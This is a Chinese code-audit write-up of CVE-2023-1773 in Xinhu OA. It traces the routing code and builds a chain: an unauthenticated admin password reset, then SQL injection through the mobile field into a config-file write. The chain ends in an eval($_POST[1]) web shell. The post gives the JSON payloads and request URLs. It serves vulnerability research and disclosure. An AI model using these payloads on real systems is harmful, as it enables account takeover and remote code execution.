代码审计代码审计:CVE-2023-1773
Sherlock产品:信呼oa
影响版本:<=2.32
开源地址:https://github.com/rainrocka/xinhu/commits/master/
首先我们先起好docker镜像,默认登录账号名为admin,密码为123456
开始代码审计
最最开始的时候,我们当然要看index.php的代码(代码块中的大部分注释为我自己写入进去的理解)如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php include_once('config/config.php'); $_uurl = $rock->get('rewriteurl'); $d = ''; $m = 'index'; $a = 'default'; if($_uurl != ''){ unset($_GET['m']);unset($_GET['d']);unset($_GET['a']); $m = $_uurl; $_uurla = explode('_', $_uurl); if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];} if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];} $_uurla = explode('?',$_SERVER['REQUEST_URI']); if(isset($_uurla[1])){ $_uurla = explode('&', $_uurla[1]); foreach($_uurla as $_uurlas){ $_uurlasa = explode('=', $_uurlas); if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1]; } } }else{ $m = $rock->jm->gettoken('m', 'index'); $d = $rock->jm->gettoken('d'); $a = $rock->jm->gettoken('a', 'default'); } $ajaxbool = $rock->jm->gettoken('ajaxbool', 'false'); $mode = $rock->get('m', $m); if(!$config['install'] && $mode != 'install')$rock->location('?m=install'); include_once('include/View.php');
|
$_SERVER['REQUEST_URI']
:
$_SERVER
是一个超全局变量,它包含了关于服务器环境和请求的信息。
'REQUEST_URI'
是 $_SERVER
数组中的一个键,它包含了当前请求的URI。例如,如果用户访问的是 http://example.com/path/to/page?foo=bar
,那么 $_SERVER['REQUEST_URI']
的值就是 /path/to/page?foo=bar
。
看完该份文件后我们需要注意三个变量:$m,$d,$a,以及该行代码$_uurl = $rock->get('rewriteurl');
,思考其中的get()方法是什么,让我们溯源下去,该方法相关代码如下:
1 2 3 4 5 6 7 8 9
| public function get($name,$dev='', $lx=0) { $val=$dev; if(isset($_GET[$name]))$val=$_GET[$name]; if($this->isempt($val))$val=$dev; return $this->jmuncode($val, $lx, $name); }
|
通过该方法获取GET传参中的值,并对xss进行了一定程度的预防
在index.php中末尾部分代码还包含了文件View.php,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| <?php if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false'); $ajaxbool = $rock->get('ajaxbool', $ajaxbool); $p = PROJECT; if(!isset($m))$m='index'; if(!isset($a))$a='default'; if(!isset($d))$d=''; $m = $rock->get('m', $m); $a = $rock->get('a', $a); $d = $rock->get('d', $d);
define('M', $m); define('A', $a); define('D', $d); define('P', $p);
$_m = $m; if($rock->contain($m, '|')) { $_mas = explode('|', $m); $m = $_mas[0]; $_m = $_mas[1]; } include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));
$rand = date('YmdHis').rand(1000,9999); if(substr($d,-1)!='/' && $d!='')$d.='/'; $errormsg = ''; $methodbool = true; $actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m); define('ACTPATH', $actpath); $actfile = $rock->strformat('?0/?1Action.php',$actpath, $m); $actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m); $actbstr = null; if(file_exists($actfile1))include_once($actfile1); if(file_exists($actfile)){ include_once($actfile); $clsname = ''.$m.'ClassAction'; $xhrock = new $clsname(); $actname = ''.$a.'Action'; if($ajaxbool == 'true')$actname = ''.$a.'Ajax'; if(method_exists($xhrock, $actname)) { $xhrock->beforeAction(); $actbstr = $xhrock->$actname(); $xhrock->bodyMessage = $actbstr; if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;} if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;} }else{ $methodbool = false; if($ajaxbool == 'false')echo ''.$actname.' not found;'; } $xhrock->afterAction(); }else{ echo 'actionfile not exists;'; $xhrock = new Action(); }
$_showbool = false; if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')) { $xhrock->smartydata['p'] = $p; $xhrock->smartydata['a'] = $a; $xhrock->smartydata['m'] = $m; $xhrock->smartydata['d'] = $d; $xhrock->smartydata['rand'] = $rand; $xhrock->smartydata['qom'] = QOM; $xhrock->smartydata['path'] = PATH; $xhrock->smartydata['sysurl']= SYSURL; $temppath = ''.ROOT_PATH.'/'.$p.'/'; $tplpaths = ''.$temppath.''.$d.''.$m.'/'; $tplname = 'tpl_'.$m.''; if($a!='default')$tplname .= '_'.$a.''; $tplname .= '.'.$xhrock->tpldom.''; $mpathname = $tplpaths.$tplname; if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile; if(!file_exists($mpathname) || !$methodbool){ if(!$methodbool){ $errormsg = 'in ('.$m.') not found Method('.$a.');'; }else{ $errormsg = ''.$tplname.' not exists;'; } echo $errormsg; }else{ $_showbool = true; } } if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){ $xhrock->setHtmlData(); $da = $xhrock->smartydata; foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v; include_once($mpathname); $_showbool = false; }
|
对于ROOT_PATH的分析:
1
| define('ROOT_PATH',str_replace('\\','/',dirname(dirname(__FILE__))));
|
该常量会默认为是系统的根目录
对于PROJECT的分析:
1
| if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain'));
|
上述代码说明了要是变量p没有值那么会默认为webmain,常量PROJECT的值便为webmain目录
文件\include\Action.php中public $smartydata = array(); //模版数据
说明了$smartydata为模板数据数组(用不到)
下面为两个比较重要的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public function strformat($str) { $len = func_num_args(); $arr = array(); for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i); $s = $this->stringformat($str, $arr); return $s; } ...... ...... public function stringformat($str, $arr=array()) { $s = $str; for($i=0; $i<count($arr); $i++){ $s=str_replace('?'.$i.'', $arr[$i], $s); } return $s; }
|
通过对$m,$a,$d三个变量值的控制,我们可以实现包含我们自己想要包含的任意文件,并调用我们自己需要的方法,比如
这里有个一路径中的变量$actpath
,被两个下文被包含住的变量$actfile
以及$actfile1
给拼接,弄明白是如何构造的:
用ROOT_PATH,$p,$d,$_m分别填充前面的一个格式化路径
$_m我们可以控制GET传入m参数时’|’字符两边的字符串来控制,$p和ROOT_PATH,$d在上面存在一个简单的处理,如果不是以’/‘结尾就给他加上’/‘
总结起来,假设我们的根目录是/var/www/html/,传入p=webmain&d=task&m=file|api
那么$actpath就是”/var/www/html/webmain/task/api”
紧接着下面的$actfile就是”/var/www/html/webmain/task/api/fileAction.php”
其实actfile1我们并不能做到真正完全的可控,因为其最后的拼接是$_m.$_m
,就意味着最后包含的php文件的前缀名必须与上级目录相同,具有一定的局限性,这里我们侧重观察actfile被包含后的操作(实际上actfile1被包含后也确实并没有进行更多的操作了),接下来的分析围绕着actfile,$classname变量由$a和”ClassAction”拼接起来,$a可控。,$actname变量由$a和”Action”拼接起来,$a可控。如果ajaxbool为true那么$actname由$a和”Ajax”拼接,$ajaxbool可控(前文提到控制GET传参)。然后new一个名为$classname的值的类,判断该对象中是否存在名为$actname的方法,如果存在,就执行并把结果echo出来
寻找漏洞
修改密码
接下来我们的工作就是要找到一个可以利用的类中的方法,这个时候我们注意到了\webmain\task\api\reimplatAction.php,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php class reimplatClassAction extends apiAction{
public function initAction() { $this->display= false; } public function indexAction() { $body = $this->getpostdata(); if(!$body)return; $db = m('reimplat:dept'); $key = $db->gethkey(); $bodystr = $this->jm->strunlook($body, $key); if(!$bodystr)return; $data = json_decode($bodystr, true); $msgtype = arrvalue($data,'msgtype'); $msgevent= arrvalue($data,'msgevent'); if($msgtype=='subscribe'){ $user = arrvalue($data, 'user'); $zt = '0'; if($msgevent=='yes')$zt = '1'; if($msgevent=='stop')$zt = '2'; $db->update('`status`='.$zt.'',"`user`='$user'"); } if($msgtype=='editmobile'){ $user = arrvalue($data, 'user'); $mobile = arrvalue($data, 'mobile'); $where = "`user`='$user'"; $upstr = "`mobile`='$mobile'"; $db->update($upstr, $where); $dbs = m('admin'); $dbs->update($upstr,$where); $uid = $dbs->getmou('id',$where); m('userinfo')->update($upstr,"`id`='$uid'"); } if($msgtype=='editpass'){ $user = arrvalue($data, 'user'); $pass = arrvalue($data, 'pass'); if($pass && $user){ $where = "`user`='$user'"; $mima = md5($pass); m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where); } } } }
|
上述代码中的getpostdata函数:
1 2 3 4 5 6 7 8
| public function getpostdata() { $postdata = ''; if(isset($GLOBALS['HTTP_RAW_POST_DATA']))$postdata = $GLOBALS['HTTP_RAW_POST_DATA']; if($postdata=='')$postdata = trim(file_get_contents('php://input')); return $postdata; }
|
发现很有用的地方,该函数没有任何过滤,并且通过php://input
伪协议来获取POST进去的数据,可以利用一下
对于strunlook()方法,我们溯源后发现是一个字符串解密的函数,位于/include/chajian/jmChajian.php文件中,溯源过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $bodystr = $this->jm->strunlook($body, $key);
$this->jm = c('jm', true);
function c($name, $inbo=true, $param1='', $param2='') { $class = ''.$name.'Chajian'; $path = ''.ROOT_PATH.'/include/chajian/'.$class.'.php'; $cls = NULL; if(file_exists($path)){ include_once($path); if($inbo)$cls = new $class($param1, $param2); } return $cls; }
|
在reimplatAction.php中,我们可以利用indexAction()方法,通过它来修改账户的密码
所以现在的思路:传入加密后的json数据,让后台进行自动解密,通过输入相应的键值对来修改密码
因此json数据中我们需要的键值对如下:
1
| {"msgtype":"editpass","user":"admin","pass":"admin"}
|
首先我们在本地测试的时候需要在reimplatAction.php文件中的添加相关代码,从而获取到加密后的json数据,如下:
利用bp抓包,然后进行操作:get传参?p=webmain&d=task&m=reimplat|api&a=index
,接着再加我们所需的json代码,如下:
得到加密后的json内容,继续操作:
由于输入的是加密后的json内容,后台会自动解码配对修改账户密码,这样子我们就成功修改了admin的密码
退出账号,输入修改后的密码,成功登录
实现rce
但是这样子的话我们仅仅能做到的也就是修改修改账户的密码,不应满足于此,继续查看代码
在/webmain/system/cog/cogAction.php下:
cogClassAction::savecongAjax()方法中有一处文件写入,只要可以控制$adminname
就可以控制任意文件写入
对$adminname进行溯源,发现此字段会从数据库中取admin的name,所以我们只需要找到一个注入点,成功注入便可以利用
原本我们输入的$adminname会被注释掉,而我们需要摆脱被注释掉的命运,所以要在输入内容的开头来上一个/n
进行换行,同时在末尾加上//
使得后续不是我们输入的内容全被注释掉
实质上我们输入的为字符串,并且该字符串会写入一个文件中,成功写入回显ok
对$_confpath进行溯源,具体代码为$_confpath = $this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);
发现$thia->adminname其实就是写入配置文件webmainConfig.php中
然后我们对reimplatAction.php文件中的m方法进行溯源,具体代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| function m($name) { $cls = NULL; $pats = $nac = ''; $nas = $name; $asq = explode(':', $nas); if(count($asq)>1){ $nas = $asq[1]; $nac = $asq[0]; $pats = $nac.'/'; $_pats = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php'; if(file_exists($_pats)){ include_once($_pats); $class = ''.$nac.'Model'; $cls = new $class($nas); } } $class = ''.$nas.'ClassModel'; $path = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php'; if(file_exists($path)){ include_once($path); if($nac!='')$class= $nac.'_'.$class; $cls = new $class($nas); } if($cls==NULL)$cls = new sModel($nas); return $cls; }
|
可以得到该方法是把/webmain/model/下的php文件包含起来了
m方法的参数是$name,实际上我们操作的表名是xinhu_$name
综上,我选择的是reimplatAction.php文件中的修改mobile处,从那里下手进行sql注入,这样子我们就需要溯源到底层的update()方法,明白其具体的sql语句,从而进行绕过
最底层的update方法如下所示:
1 2 3 4 5 6
| public function update($table,$content,$where) { $where = $this->getwhere($where); $sql="update `$table` set $content where $where "; return $this->tranbegin($sql); }
|
在文件中的已经指定了$table的内容,即admin和其他两个表,$where的内容为="user='$user'"
,$content在具体代码中即$upstr,即= "mobile='$mobile'";
,因此我们传入的json数据需为以下格式:
1
| {"msgtype":"editmobile","user":"","mobile":""}
|
在sql文件中看到xinhu_admin表中的mobile字段处是输入字符串,因此我们需要逃出单引号包裹
并且我们要改的字段名为name,也是需要输入字符串的
最终我们需要传入的json数据如下:
1
| {"msgtype":"editmobile","user":"admin","mobile":"123',name='\nphpinfo();//"}
|
然后再把加密后的json文件再传一遍,查看xinhu_admin表,可以看见admin的name已经发生了改变
接着我们查看配置文件,发现并没有任何修改,这是为什么
这是因为我们还没有调用$adminname所属的savecongAjax()方法,变量还没有被写入配置文件中
所以我们在重新登陆后需要包含的内容如下:
1
| ?p=webmain&d=system&m=cog|cog&ajaxbool=true&a=savecong
|
成功包含
再刷新一遍页面,如下:
成功实现了phpinfo(),这也说明了我们可以实现rce了,但是要注意name字段有长度限制,所以一句话木马不能够太长
接着实现rce,更改json文件如下:
1
| {"msgtype":"editmobile","user":"admin","mobile":"123',name='\neval($_POST[1]);//"}
|
剩下的操作和上面实现phpinfo()的操作一模一样,然后我们尝试用蚁剑连接
成功连接上,实现rce